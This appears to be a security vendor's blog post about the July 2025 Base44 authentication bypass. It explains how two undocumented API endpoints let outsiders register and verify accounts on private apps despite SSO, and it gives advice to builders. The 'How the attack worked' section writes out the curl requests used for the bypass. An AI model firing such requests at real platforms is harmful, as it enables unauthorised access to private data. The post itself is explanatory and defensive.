The Base44 Auth Bypass: Wix Paid $80M, Then Researchers Bypassed Every Login With Two API Calls

An $80 million bet on vibe coding

In June 2025, Wix made headlines by acquiring Base44 for $80 million. Base44 was one of the hottest names in vibe coding — a platform where you describe what you want, and AI generates a full-stack application complete with a database backend. Think Lovable or Bolt, but with a different technical approach and a growing enterprise customer base.

The acquisition made sense. AI-powered app building was exploding. Enterprises were adopting these tools faster than anyone expected. Base44 had traction, a clean product, and a user base that included companies building internal tools, customer-facing apps, and chatbots.

Then, in July 2025, Wiz Research took a closer look.

What they found was a vulnerability so fundamental it's hard to overstate: any private application built on Base44 could be fully accessed by an unauthenticated attacker using two API calls. SSO? Bypassed. Registration disabled? Didn't matter. The only thing you needed was the app_id — and that was sitting right there in the URL.

This is the story of what happened, why it matters far beyond Base44, and what every builder should understand about platform-level security risk.

---

How the attack worked

The vulnerability was elegant in its simplicity. No sophisticated exploit chains. No zero-day memory corruption. Just two undocumented API endpoints that never should have been publicly accessible.

Step 1: Find the app_id

Every Base44 application had a unique identifier — the app_id. This wasn't a secret. It was embedded directly in the application's public URL:

https://app.base44.com/a/abc123

The app_id here is abc123. You could also find it in the application's manifest.json file. No guessing required. No brute forcing. Just look at the URL.

Step 2: Register an account on any app

Base44 had an undocumented API endpoint for user registration. It required no authentication, no invitation, and no prior authorization. Even if the app owner had explicitly disabled public registration, this endpoint still worked:

curl -X POST https://app.base44.com/api/apps/abc123/auth/register \
  -H "Content-Type: application/json" \
  -d '{
    "email": "attacker@evil.com",
    "password": "anything123"
  }'

# Response: 200 OK — account created

That's it. One POST request, and you have an account on a private application that was supposed to require SSO or explicit invitation.

Step 3: Verify the account

The second undocumented endpoint handled email verification. Another unauthenticated POST:

curl -X POST https://app.base44.com/api/apps/abc123/auth/verify-otp \
  -H "Content-Type: application/json" \
  -d '{
    "email": "attacker@evil.com",
    "otp": "extracted-or-guessed-code"
  }'

# Response: 200 OK — account verified

Step 4: Full access

With a verified account, the attacker now had legitimate access to the target application. All its data, all its functionality. The application's own authentication system treated the attacker as a valid user.

The entire attack could be automated. Enumerate app_ids from URLs, register on each one, verify, and you're in. Thousands of private enterprise applications, all accessible through the same two endpoints.

---

Why SSO didn't help

This is the part that should concern enterprise teams the most.

Many Base44 customers had configured Single Sign-On. They were using their corporate identity providers — Okta, Azure AD, Google Workspace — to control who could access their applications. From their perspective, access was locked down. Only employees with valid corporate credentials could get in.

Except the undocumented registration endpoint didn't care about SSO configuration. It operated at a layer below the SSO integration, directly on Base44's internal authentication system. SSO was a front door with a deadbolt. The registration API was an unlocked side entrance that nobody knew existed.

Enterprise customers who thought they were protected by their identity provider were not. The security posture they assumed they had — the one they might have represented to auditors, to customers, to regulators — was an illusion.

---

What made this so dangerous

Several factors turned a bad vulnerability into a systemic one:

1. Trivial attack complexity

No special tools. No deep technical knowledge. Anyone who could use curl or Postman could execute this attack. The CVSS severity was Critical, and the attack complexity was rated Low — which, in this case, might be generous. "Low" implies some skill is needed. This was closer to "copy and paste."

2. The app_id was public by design

The identifier needed to exploit the vulnerability wasn't hidden, hashed, or protected. It was a core part of the URL structure. Every time someone shared a link to their Base44 app, they were sharing the key needed to compromise it.

3. Platform-wide blast radius

This wasn't a bug in one application. It was a flaw in the platform itself. Every app built on Base44 inherited the vulnerability. The platform's multi-tenant architecture meant a single security flaw could cascade to thousands of applications simultaneously.

4. No detection mechanism

Organizations had no way to know this was happening. There was no anomaly detection, no alerts for unauthorized registrations, no audit log showing that someone had bypassed their authentication controls. An attacker could register, access data, and leave without triggering any alarm.

---

The types of apps that were exposed

Base44 applications weren't toy projects. Enterprise customers were building real tools on the platform:

• Internal company chatbots with access to corporate knowledge bases and sensitive documents
• Business tools processing customer data, financial information, and operational metrics
• Customer-facing applications handling personally identifiable information
• Administrative portals with elevated privileges and access to backend systems

Each of these applications was accessible to anyone who knew the URL and could make two API calls.

The scope here is important. This wasn't one developer who forgot to lock down their project. This was every developer on the platform, because the vulnerability existed in shared infrastructure that none of them controlled. The person who carefully configured SSO and disabled public registration was just as exposed as the person who hadn't thought about security at all.

---

The response: fast, but the damage was structural

Credit where it's due — the response was fast.

Discovery to fix: less than 24 hours. Wix confirmed no evidence of prior exploitation. The patch was server-side, meaning app owners didn't need to do anything.

That's a strong incident response. But the speed of the fix doesn't change what the vulnerability revealed: every application on the platform had been exposed since those endpoints were created. Every enterprise customer's security model had a hole in it that nobody knew about. Every SSO configuration was providing less protection than advertised.

The fix closed the door. But the door had been open for an unknown period. And during that window, any attacker who knew about these endpoints — or stumbled across them through routine API enumeration — could have accessed any private application on the platform without leaving a trace.

---

The real story: platform risk

Here's the uncomfortable truth that goes beyond Base44 and Wix.

When you build on a platform — any platform — you inherit its security posture. Not the security posture it advertises. Not the one you assume it has. The actual one, including every undocumented endpoint, every misconfigured permission, every assumption its engineers made that turned out to be wrong.

This creates a fundamentally different risk model than building your own stack:

Traditional app:
  Your code → Your vulnerability → Your app affected

Platform app:
  Platform code → Platform vulnerability → EVERY app affected

With a traditional application, a security flaw in your code affects your users. With a platform, a single flaw in shared infrastructure can affect thousands of applications simultaneously. The blast radius is orders of magnitude larger.

And here's the thing that makes this especially relevant right now: vibe coding platforms are growing faster than their security practices can keep up. The value proposition — describe what you want, get a working app — is genuinely powerful. Builders are shipping real products on these platforms. Enterprises are deploying internal tools. The gap between what these platforms can build and what they can secure is where the risk lives.

This isn't just a Base44 problem

The pattern keeps repeating across the vibe coding ecosystem:

• Base44 (July 2025): Undocumented API endpoints bypass all authentication on every app
• Lovable Platform (CVE-2025-48757): AI generated 170+ apps without proper access controls. 303 vulnerable endpoints
• Moltbook (January 2026): Zero RLS on any table. 1.5 million records exposed
• Firebase Mass Misconfiguration (2024-2025): 900+ sites with test-mode security rules. 125 million records exposed

Different platforms, different tech stacks, same underlying problem: the platform's security assumptions didn't match reality, and every app built on it paid the price.

---

What builders should take away

If you're building on a platform — whether it's Base44, Lovable, Bolt, or anything else — these are the things worth thinking about:

1. Understand what security your platform actually provides

Not what the marketing page says. Not what you assume based on the feature list. What does the platform actually enforce? Can you test it? Have security researchers tested it?

Ask the hard questions: What happens if someone tries to register on my app through the API? Are there undocumented endpoints? Has anyone done a security audit?

2. Don't treat SSO as a security guarantee

SSO controls who can authenticate through the front door. It says nothing about side channels, undocumented APIs, or platform-level bypasses. If you're relying on SSO to protect sensitive data, verify that there's no way around it.

3. Layer your own security where you can

Even on a managed platform, you can often add your own checks:

• Validate user identity at the application layer, not just the authentication layer
• Monitor for unexpected user registrations
• Implement your own access logging
• Regularly audit who has access to your application

4. Test from the attacker's perspective

Look at your app's URLs. What identifiers are exposed? Try hitting the API directly. Check for endpoints you didn't build but that the platform might expose. If you find something that works when it shouldn't, report it — and consider what else might be lurking.

5. Have a platform migration plan

This sounds dramatic, but it's practical. If your platform has a critical vulnerability and the fix takes longer than 24 hours, what do you do? If the platform shuts down or changes terms, where does your app go? Can you export your data? Can you redeploy on different infrastructure? Understanding your dependencies is part of shipping responsibly. You don't need a full migration plan on day one, but you should at least know what you'd lose and how long it would take to rebuild.

---

The $80 million question

Wix paid $80 million for Base44 weeks before this vulnerability was found. That raises an obvious question about security due diligence in AI platform acquisitions. But the bigger question isn't about Wix or Base44 specifically — it's about the industry.

AI-powered app building is here to stay. The speed, accessibility, and power of these tools are real. More people than ever can turn ideas into working software. That's a genuine good.

But every one of those applications is only as secure as the platform it runs on. And right now, the security of these platforms is being tested in production, by researchers and attackers, after thousands of apps have already been deployed.

The vulnerability was patched in 24 hours. The broader problem — that platform-level security flaws can cascade to thousands of applications simultaneously — doesn't have a patch. It requires a different approach to how platforms are built, audited, and trusted. It requires builders to understand that choosing a platform is a security decision, not just a productivity one.

---

How Flowpatrol fits in

This is the kind of risk that Flowpatrol is designed to surface. When you scan your app, we test the things that matter — including authentication bypasses, undocumented API endpoints, and access control failures that platform-level bugs can introduce.

You built something real. A five-minute scan tells you whether it's solid before someone else finds out it's not. That's not about fear — it's about shipping with confidence.

---

The Base44 authentication bypass is documented in public reporting by Wiz, The Hacker News, SecurityWeek, and Dark Reading.